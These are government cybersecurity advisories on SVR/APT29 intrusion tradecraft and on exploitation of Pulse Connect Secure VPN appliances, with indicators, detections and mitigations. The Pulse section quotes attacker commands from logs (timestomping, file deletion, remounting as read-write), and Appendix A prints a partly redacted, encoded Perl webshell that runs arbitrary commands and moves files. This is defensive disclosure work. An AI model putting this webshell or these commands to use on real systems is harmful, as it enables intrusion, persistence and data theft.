During the period of their access, the actors consistently logged into the administrative account to modify account permissions, including removing their access to accounts presumed to no longer be of interest, or adding permissions to additional accounts. 

Recommendations

To defend from this technique, the FBI and DHS recommend network operators to follow best practices for configuring access to cloud computing environments, including:

  • Mandatory use of an approved multi-factor authentication solution for all users from both on premises and remote locations.
  • Prohibit remote access to administrative functions and resources from IP addresses and systems not owned by the organization.
  • Regular audits of mailbox settings, account permissions, and mail forwarding rules for evidence of unauthorized changes.
  • Where possible, enforce the use of strong passwords and prevent the use of easily guessed or commonly used passwords through technical means, especially for administrative accounts.
  • Regularly review the organization’s password management program.
  • Ensure the organization’s information technology (IT) support team has well-documented standard operating procedures for password resets of user account lockouts.
  • Maintain a regular cadence of security awareness training for all company employees.
Leveraging Zero-Day Vulnerability

In a separate incident, SVR actors used CVE-2019-19781, a zero-day exploit at the time, against a virtual private network (VPN) appliance to obtain network access. Following exploitation of the device in a way that exposed user credentials, the actors identified and authenticated to systems on the network using the exposed credentials.

The actors worked to establish a foothold on several different systems that were not configured to require multi-factor authentication and attempted to access web-based resources in specific areas of the network in line with information of interest to a foreign intelligence service.

Following initial discovery, the victim attempted to evict the actors. However, the victim had not identified the initial point of access, and the actors used the same VPN appliance vulnerability to regain access. Eventually, the initial access point was identified, removed from the network, and the actors were evicted. As in the previous case, the actors used dedicated VPSs located in the same country as the victim, probably to make it appear that the network traffic was not anomalous with normal activity.

Recommendations

To defend from this technique, the FBI and DHS recommend network defenders ensure endpoint monitoring solutions are configured to identify evidence of lateral movement within the network and:

  • Monitor the network for evidence of encoded PowerShell commands and execution of network scanning tools, such as NMAP.
  • Ensure host based anti-virus/endpoint monitoring solutions are enabled and set to alert if monitoring or reporting is disabled, or if communication is lost with a host agent for more than a reasonable amount of time.
  • Require use of multi-factor authentication to access internal systems.
  • Immediately configure newly-added systems to the network, including those used for testing or development work, to follow the organization’s security baseline and incorporate into enterprise monitoring tools.
WELLMESS Malware

In 2020, the governments of the United Kingdom, Canada, and the United States attributed intrusions perpetrated using malware known as WELLMESS to APT 29. WELLMESS was written in the Go programming language, and the previously-identified activity appeared to focus on targeting COVID-19 vaccine development. The FBI’s investigation revealed that following initial compromise of a network—normally through an unpatched, publicly-known vulnerability—the actors deployed WELLMESS. Once on the network, the actors targeted each organization’s vaccine research repository and Active Directory servers. These intrusions, which mostly relied on targeting on-premises network resources, were a departure from historic tradecraft, and likely indicate new ways the actors are evolving in the virtual environment. More information about the specifics of the malware used in this intrusion have been previously released and are referenced in the ‘Resources’ section of this document.

Tradecraft Similarities of SolarWinds-enabled Intrusions

During the spring and summer of 2020, using modified SolarWinds network monitoring software as an initial intrusion vector, SVR cyber operators began to expand their access to numerous networks. The SVR’s modification and use of trusted SolarWinds products as an intrusion vector is also a notable departure from the SVR’s historic tradecraft.

The FBI’s initial findings indicate similar post-infection tradecraft with other SVR-sponsored intrusions, including how the actors purchased and managed infrastructure used in the intrusions. After obtaining access to victim networks, SVR cyber actors moved through the networks to obtain access to e-mail accounts. Targeted accounts at multiple victim organizations included accounts associated with IT staff. The FBI suspects the actors monitored IT staff to collect useful information about the victim networks, determine if victims had detected the intrusions, and evade eviction actions.

Recommendations

Although defending a network from a compromise of trusted software is difficult, some organizations successfully detected and prevented follow-on exploitation activity from the initial malicious SolarWinds software. This was achieved using a variety of monitoring techniques including:

  • Auditing log files to identify attempts to access privileged certificates and creation of fake identify providers.
  • Deploying software to identify suspicious behavior on systems, including the execution of encoded PowerShell.
  • Deploying endpoint protection systems with the ability to monitor for behavioral indicators of compromise.
  • Using available public resources to identify credential abuse within cloud environments.
  • Configuring authentication mechanisms to confirm certain user activities on systems, including registering new devices.

While few victim organizations were able to identify the initial access vector as SolarWinds software, some were able to correlate different alerts to identify unauthorized activity. The FBI and DHS believe those indicators, coupled with stronger network segmentation (particularly “zero trust” architectures or limited trust between identity providers) and log correlation, can enable network defenders to identify suspicious activity requiring additional investigation.

General Tradecraft Observations

SVR cyber operators are capable adversaries. In addition to the techniques described above, FBI investigations have revealed infrastructure used in the intrusions is frequently obtained using false identities and cryptocurrencies. VPS infrastructure is often procured from a network of VPS resellers. These false identities are usually supported by low reputation infrastructure including temporary e-mail accounts and temporary voice over internet protocol (VoIP) telephone numbers. While not exclusively used by SVR cyber actors, a number of SVR cyber personas use e-mail services hosted on cock[.]li or related domains.

The FBI also notes SVR cyber operators have used open source or commercially available tools continuously, including Mimikatz—an open source credential-dumping too—and Cobalt Strike—a commercially available exploitation tool.

Mitigations

The FBI and DHS recommend service providers strengthen their user validation and verification systems to prohibit misuse of their services.

Resources Revisions
  • April 26, 2021: Initial Version

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CISA

AA21-110A: Exploitation of Pulse Connect Secure Vulnerabilities

3 months ago
Original release date: April 20, 2021 | Last revised: July 21, 2021
Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises affecting a number of U.S. government agencies, critical infrastructure entities, and other private sector organizations by a cyber threat actor—or actors—beginning in June 2020 or earlier related to vulnerabilities in certain Ivanti Pulse Connect Secure products. Since March 31, 2021, CISA and Ivanti have assisted multiple entities whose vulnerable Pulse Connect Secure products have been exploited by a cyber threat actor. These entities confirmed the malicious activity after running the Pulse Secure Connect Integrity Tool. To gain initial access, the threat actor is leveraging multiple vulnerabilities, including CVE-2019-11510, CVE-2020-8260, CVE-2020-8243, and the newly disclosed CVE-2021-22893. The threat actor is using this access to place webshells on the Pulse Connect Secure appliance for further access and persistence. The known webshells allow for a variety of functions, including authentication bypass, multi-factor authentication bypass, password logging, and persistence through patching.

(Updated May 3, 2021): Ivanti  has released  Security Advisory SA44784 addressing CVE-2021-22893 and three additional newly disclosed CVEs—CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900. CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to immediately run the Pulse Secure Connect Integrity Tool, update to the latest software version, and investigate for malicious activity.

(Updated May 27. 2021): CISA has updated this alert to include new threat actor techniques, tactics, and procedures (TTPs), indicators of compromise (IOCs), and updated mitigations. See Ivanti KB44755 - Pulse Connect Secure (PCS) Integrity Assurance for updated guidance to ensure the full integrity of your Pulse Connect Secure software.

(Updated July 21, 2021): Please see our new Malware Analysis Reports in regards to adversary activity analyzed by CISA that were discovered on Pulse Secure Connect Devices.

For a downloadable list of indicators of compromise (IOCs), see AA21-110A.stix.

Technical Details

On March 31, 2021, Ivanti released the Pulse Secure Connect Integrity Tool to detect the integrity of Pulse Connect Secure appliances. Their technical bulletin states:

We are aware of reports that a limited number of customers have identified unusual activity on their Pulse Connect Secure (PCS) appliances. The investigation to date shows ongoing attempts to exploit vulnerabilities outlined in two security advisories that were patched in 2019 and 2020 to address previously known issues: Security Advisory SA44101 (CVE-2019-11510) and Security Advisory SA44601 (CVE- 2020- 8260). For more information visit KB44764 (Customer FAQ).

(Updated May 27, 2021): CISA has observed the cyber threat actor performing cleanup as demonstrated by the following:

  1. Threat actor was observed timestomping trojanized umount binary to match timestamps of legitimate binaries attempting to disguise the modifications; the touch command was used to modify the time stamp https://attack.mitre.org/techniques/T1070/006/:

          /bin/touch /tmp/data/root/bin/umount -r /tmp/data/root/bin/cp

    2. The threat actor deleted files from temp directories using "rm -f": 

          /bin/rm -f tmp1
          /bin/rm -f tmp2

    3. Timestamps:

Note: for context, loop 6 is the active partition and loop 8 is the rollback partition of the device.

Date  Time (GMT) Partition Artifact Activity  4/13/21 5:15:33 pulse-loop6 /bin/umount Content Modification Time 4/20/21 19:09:14 pulse-loop8 /bin/umount Metadata Modification Time 4/20/21 19:09:14 pulse-loop8 /bin/umount Content Modification Time 4/20/21 19:18:49 pulse-loop6 /bin/umount Metadata Modification Time 4/23/21 16:14:48 pulse-loop6 /bin/umount Last Access Time 5/6/21 14:27:20 pulse-loop8 /bin/umount Last Access Time 4/20/21 19:08:01 pulse-loop6 /bin/touch Last Access Time 4/20/21 19:09:14 pulse-loop8 /bin/touch Last Access Time


Security firm FireEye has posted more information on their blog, including activity related to actor clean up. See the FireEye blog post, Re-Checking Your Pulse, for more information, including activity related to actor cleanup.

The suspected cyber threat actor modified several legitimate Pulse Secure files on the impacted Pulse Connect Secure appliances. The modifications implemented a variety of webshell functionality:

  • DSUpgrade.pm MD5: 4d5b410e1756072a701dfd3722951907
    • Runs arbitrary commands passed to it
    • Copies malicious code into Licenseserverproto.cgi
  • Licenseserverproto.cgi MD5: 9b526db005ee8075912ca6572d69a5d6
    • Copies malicious logic to the new files during the patching process, allowing for persistence
  • Secid_canceltoken.cgi MD5: f2beca612db26d771fe6ed7a87f48a5a
    • Runs arbitrary commands passed via HTTP requests
  • compcheckresult.cgi MD5: ca0175d86049fa7c796ea06b413857a3
    • Publicly-facing page to send arbitrary commands with ID argument
  • Login.cgi MD5: 56e2a1566c7989612320f4ef1669e7d5
    • Allows for credential harvesting of authenticated users
  • Healthcheck.cgi MD5: 8c291ad2d50f3845788bc11b2f603b4a
    • Runs arbitrary commands passed via HTTP requests

Many of the threat actor’s early actions are logged in the Unauthenticated Requests Log as seen in the following format, URIs have been redacted to minimize access to webshells that may still be active:

Unauthenticated request url /dana-na/[redacted URI]?id=cat%20/home/webserver/htdocs/dana-na/[redacted URI] came from IP XX.XX.XX.XX.

The threat actor then ran the commands listed in table 1 via the webshell.

Table 1: Commands run via webshell

Time Command 2021-01-19T07:46:05.000+0000 pwd 2021-01-19T07:46:24.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted] 2021-01-19T08:10:13.000+0000 cat%20/home/webserver/htdocs/dana-na/l[redacted] 2021-01-19T08:14:18.000+0000 See Appendix. 2021-01-19T08:15:11.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted] 2021-01-19T08:15:49.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted] 2021-01-19T09:03:05.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted] 2021-01-19T09:04:47.000+0000 $mount 2021-01-19T09:05:13.000+0000 /bin/mount%20-o%20remount,rw%20/dev/root%20/ 2021-01-19T09:07:10.000+0000 $mount

The cyber threat actor is using exploited devices located on residential IP space—including publicly facing Network Attached Storage (NAS) devices and small home business routers from multiple vendors—to proxy their connection to interact with the webshells they placed on these devices. These devices, which the threat actor is using to proxy the connection, correlate with the country of the victim and allow the actor activity to blend in with normal telework user activity. Note: these devices are not related to the Pulse vulnerabilities, but rather, where the malicious internet traffic passes through.

Details about lateral movement and post-exploitation are still unknown at this time. CISA will update this alert as this information becomes available.

(Updated April 30, 2021): Detections (Updated April 30, 2021): Impossible Travel

During the course of analysis, it is possible that a network defender may be able to reveal illegitimate connections from users that are masquerading as legitimate users from different geolocations. CISA has noted IPs associated with malicious webshell interaction from a threat actor—associated with a single username—in both the authenticated and the unauthenticated logs at the same time. The geo-location for the two IP addresses was sufficiently far that impossible travel calculations could detect the threat actor IP address.

(Updated April 30, 2021): TLS Fingerprinting

Transport Layer Security (TLS) fingerprinting may also be useful in identifying malicious activity. CISA has noted re-use of various JA3 hashes including JA3 hashes that align with Chrome, Firefox, and others. Caution should be taken when using TLS fingerprinting because the majority of the JA3 hashes observed in connection with Pulse Connect Secure exploitation were not unique to malicious activity. The same JA3 hashes—and the software they characterize—are often used for benign activity, vulnerability scanning, etc. Overlap in JA3 hashes cannot be considered a high-fidelity indicator of malicious activity, let alone successful exploitation. Connections made via JA3 must be corroborated with other data points.

  • A common observation is that the TLS connections frequently exclude the Server Name Indication (SNI) extension, which is relatively rare in most environments where users connect to Domain Name Server (DNS) host names (but is commonly observed in scanning). It is believed this is an artifact of attackers browsing direct to IP addresses instead of host names.
  • The JA3 hashes in table 2 below have been observed in connection with a pulse secure exploitation. Note: there may be many User-Agents associated with a given JA3 (often due to User-Agent spoofing) and the prevalence of a given JA3 necessarily differs by environment. The prevalence column of table 2 refers to how often the specific JA3 hash was observed in the dataset that was being analyzed. Some hashes are rarely observed in the dataset and the information is provided for context only. Analytical conclusions should not be made solely based on this reporting. The prevalence of a JA3 hash observed in an environment would need to be further evaluated.

 

Table 2: JA3 MD5 hashes and associated prevalence/user-agent

JA3 Hash User-Agent Prevalence

227ab2ae6ed6abcc249e8a873a033144

Firefox (~68-71) very rare

30017f6f809155387cbcf95be6e7225d

(UA header frequently not set) rare

3cbc88eabdac9af71445f9040a6cf46c

Chrome (~50-57) very rare

53829d58e2631a372bb4de1be2cbecca

Chrome (~51-81) rare

714cdf6e462870e2b85d251a3b22064b

Firefox (~65-68) very rare

86cb13d6bbb3ac96b78b408bcfc18794

Python-requests, many others common (but rare when used with pulse secure)

8f6747b71d1003df1b7e3e8232b1a7e3

Chrome (~89) rare

916e458922ae9a1bab6b1154689c7de7

Firefox (~60-86) very rare

a29d0d294a6236b5bf0ec2573dd4f02f

Firefox (~77-87), Chrome (~78-90), others very rare

af26ba5e85475b634275141e6ed3dc54

Python-requests, many others rare

b592adaa596bb72a5c1ccdbecae52e3f

Chrome (~79-90) rare

c12f54a3f91dc7bafd92cb59fe009a35

Office, many others very rare Mitigations

(Updated May 3, 2021) CISA strongly urges organizations using Pulse Secure devices to immediately:

  • Review the Pulse Secure Connect Integrity Tool Quick Start Guide and Customer FAQs
  • Run the Pulse Secure Connect Integrity Tool.
    • The tool requires a reboot.
    • If virtualized, take a snapshot before running.
    • If the appliance is physical, consider the consequences of rebooting and running the tool and contact Ivanti for assistance or questions.
    • (Updated May 3, 2021) Continue to run the tool daily until the XML mitigations have been implemented or the patch has been deployed. Note: the Pulse Secure team released Security Advisory SA44784 that addresses CVE-2021-22893, CVE-2021-22984, CVE-2021-22899, and CVE-2021-22900 with patches.
  • Implement the mitigations released by the vendor. According Ivanti Pulse Secure, the interim XML configurations listed in the "Workaround" section of SA44784 - 2021-04: Out-of-Cycle Advisory: Pulse Connect Secure RCE Vulnerability (CVE-2021-22893) provide significant protection against threat actor activity.
  • (Updated May 3, 2021) Update to the latest software version., per the process outlined on Ivanti Pulse Secure’s website which contains security enhancements.
  • (Updated May 27, 2021) Using the Pulse Secure Integrity Checker. The Integrity Checker Tool (ICT) helps system owners understand if their Pulse Secure Connect device has been compromised. While the tool is accurate, there are several nuances to its effective use.
    • The ICT detects evidence of adversary cleanup only on the current, running version of PCS.
    • It may be necessary to roll back the current PCS version to have a valid run of the ICT.
    • During the upgrade process, the active version becomes a rollback partition.
    • Only one rollback partition exists on a device, as the rollback partition is replaced on each update.
    • Therefore, if an entity has updated their PCS device without running the correct version of the ICT (as outlined in Appendix B), anomalous activity will not be detected.
       

If the Integrity Checker Tools finds mismatched or unauthorized files, CISA urges organizations to:

  • Contact CISA to report your findings (see Contact Information section below).
  • Contact Ivanti Pulse Secure for assistance in capturing forensic information.
  • Review “Unauthenticated Web Requests” log for evidence of exploitation, if enabled.
  • Change all passwords associated with accounts passing through the Pulse Secure environment (including user accounts, service accounts, administrative accounts and any accounts that could be modified by any account described above, all of these accounts should be assumed to be compromised). Note: Unless an exhaustive password reset occurs, factory resetting a Pulse Connect Secure appliance (see Step 3 below) will only remove malicious code from the device, and may not remove the threat actor from the environment. The threat actor may use the credentials harvested to regain access even after the appliance is fully patched.
  • Review logs for any unauthorized authentications originating from the Pulse Connect Secure appliance IP address or the DHCP lease range of the Pulse Connect Secure appliance's VPN lease pool.
  • (Updated May 27, 2021) Note: adversary activity may not be easily identifiable on your network as it may appear as a normal user traffic. If a device has been compromised, entities should take all precautions as if the adversary has intruded past the device into your network and take steps to ensure there are no further signs of an intrusion into networks that include:
    • Look for unauthorized applications and scheduled tasks in environments. 
    • Ensure no new administrators were created.
    • Ensure non-privileged users were not added to privileged groups.
    • Scrutinize and monitor all accounts with domain administrator privileges. 
    • Monitor domain administrator accounts to ensure they are only accessing the part of the network they are authorized to access. 
    • Check all accounts should be checked to ensure they have the proper level of privileges and have not been altered such as increased privileges. 
    • Remove any remote access programs not approved by the organization.
    • Carefully inspect scheduled tasks for scripts or executables that may allow a threat actor to connect to an environment.

In addition to the recommendations above, organizations that find evidence of malicious, suspicious, or anomalous activity or files, should consider the guidance in KB44764 - Customer FAQ: PCS Security Integrity Tool Enhancements, which includes:

After preservation, you can remediate your Pulse Connect Secure appliance by: 

  1. Disabling the external-facing interface.  
  2. Saving the system and user config.
  3. Performing a factory reset via the Serial Console. Note: For more information refer to KB22964 (How to reset a PCS device to the factory default setting via the serial console)
  4. Updating the appliance to the newest version.
  5. Re-importing the saved config.   
  6. Re-enabling the external interface. 

CISA recommends performing checks to ensure any infection is remediated, even if the workstation or host has been reimaged. These checks should include running the Pulse Secure Connect Integrity Tool again after remediation has been taken place.

CISA would like to thank Ivanti for their contributions to this Alert.

Contact Information

CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at

  • 1-888-282-0870 (From outside the United States: +1-703-235-8832)
  • central@cisa.dhs.gov (UNCLASS)
  • us-cert@dhs.sgov.gov (SIPRNET)
  • us-cert@dhs.ic.gov (JWICS)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA/US-CERT homepage at http://www.us-cert.cisa.gov/.

Appendix A: Large sed Command Found In Unauthenticated Logs

Unauthenticated request url /dana-na/[redacted]?id=sed%20-i%20%22/main();/cuse%20MIME::Base64;use%20Crypt::RC4;my%20[redacted];sub%20r{my%20\$n=\$_[0];my%20\$rs;for%20(my%20\$i=0;\$i%3C\$n;\$i++){my%20\$n1=int(rand(256));\$rs.=chr(\$n1);}return%20\$rs;}sub%20a{my%20\$st=\$_[0];my%20\$k=r([redacted]);my%20\$en%20=%20RC4(%20\$k.\$ph,%20\$st);return%20encode_base64(\$k.\$en);}sub%20b{my%20\$s=%20decode_base64(\$_[0]);%20my%20\$l=length(\$s);my%20\$k=%20substr(\$s,0,[redacted]);my%20\$en=substr(\$s,[redacted],\$l-[redacted]);my%20\$de%20=%20RC4(%20\$k.\$ph,%20\$en%20);return%20\$de;}sub%20c{my%20\$fi=CGI::param(%27img%27);my%20\$FN=b(\$fi);my%20\$fd;print%20\%22Content-type:%20application/x-download\\n\%22;open(*FILE,%20\%22%3C\$FN\%22%20);while(%3CFILE%3E){\$fd=\$fd.\$_;}close(*FILE);print%20\%22Content-Disposition:%20attachment;%20filename=tmp\\n\\n\%22;print%20a(\$fd);}sub%20d{print%20\%22Cache-Control:%20no-cache\\n\%22;print%20\%22Content-type:%20text/html\\n\\n\%22;my%20\$fi%20=%20CGI::param(%27cert%27);\$fi=b(\$fi);my%20\$pa=CGI::param(%27md5%27);\$pa=b(\$pa);open%20(*outfile,%20\%22%3E\$pa\%22);print%20outfile%20\$fi;close%20(*outfile);}sub%20e{print%20\%22Cache-Control:%20no-cache\\n\%22;print%20\%22Content-type:%20image/gif\\n\\n\%22;my%20\$na=CGI::param(%27name%27);\$na=b(\$na);my%20\$rt;if%20(!\$na%20or%20\$na%20eq%20\%22cd\%22)%20{\$rt=\%22Error%20404\%22;}else%20{my%20\$ot=\%22/tmp/1\%22;system(\%22\$na%20%3E/tmp/1%202%3E&1\%22);open(*cmd_result,\%22%3C\$ot\%22);while(%3Ccmd_result%3E){\$rt=\$rt.\$_;}close(*cmd_result);unlink%20\$ot}%20%20print%20a(\$rt);}sub%20f{if(CGI::param(%27cert%27)){d();}elsif(CGI::param(%27img%27)%20and%20CGI::param(%27name%27)){c();}elsif(CGI::param(%27name%27)%20and%20CGI::param(%27img%27)%20eq%20\%22\%22){e();}else{%20%20%20&main();}}if%20(\$ENV{%27REQUEST_METHOD%27}%20eq%20\%22POST\%22){%20%20f();}else{&main();%20}%22%20/home/webserver/htdocs/dana-na/[redacted] came from IP XX.XX.XX.XX

Appendix B: ICT Releases

Table 3: ICT Releases – releases are cumulative

Release Package  Supported Versions (n+1 always supports nth versions) Release Date package-integrity-checker-11951.1.pkg
  • 8.3R7.1 (build 65025)
  • 9.1R7 (build 6567)
  • 9.1R8 (build 7453)
  • 9.1R8.1 (build 7851)
  • 9.1R8.2 (build 8511)
  • 9.1R9 (build 9189)
  • 9.1R9.1 (build 9701)
  • 9.1R10 (build 10119)
  • 9.1R11 (build 11161)
  • 9.1R11.1 (build 11915)
3/31/2021 (ICTv1 released to public on 3/31/2021) *Initial build package-integrity-checker-12255.1.pkg
  • 9.1R8.4 (build 12177)
  • 9.1R9.2 (build 12181)
  • 9.1R10.2 (build 12179)
  • 9.1R11.3 (build 12173)
  • 9.1R1(build 1505)
  • 9.1R2 (build 2331) 
  • 9.1R3 (build 3535)
  • 9.1R4 (build 4763)
  • 9.1R4.1 (build 4967)
  • 9.1R4.2 (build 5035)
  • 9.1R4.3 (build 5185)
  • 9.1R5 (build 5459)
  • 9.1R6 (build 5801)
4/17/2021 (ICTv2 released to public on 4/18/2021) package-integrity-checker-12363.1.pkg
  • 9.1R11.3:HF1(build 12235)
  • 9.1R9.1HF1 (build 10625.1)
  • 9.1R11.1HF1(build 12049.1)
  • 9.1R11.4 (build 12319)
5/3/2021 (ICTv3 released to public on 5/3/2021)

 

References Revisions
  • April 20, 2021: Initial version
  • April 21, 2021: Added CERT/CC Vulnerability Note to References
  • April 26, 2021: Added IOC STIX File
  • April 30, 2021: Replaced IOC STIX File; Added new Detection Section
  • May 3, 2021: Added Ivanti Security Update Information
  • May 27, 2021: Added additional technical details and Appendix B
  • July 21, 2021: Added update note directing reader to review new Malware Analysis Reports

This product is provided subject to this Notification and this Privacy & Use policy.

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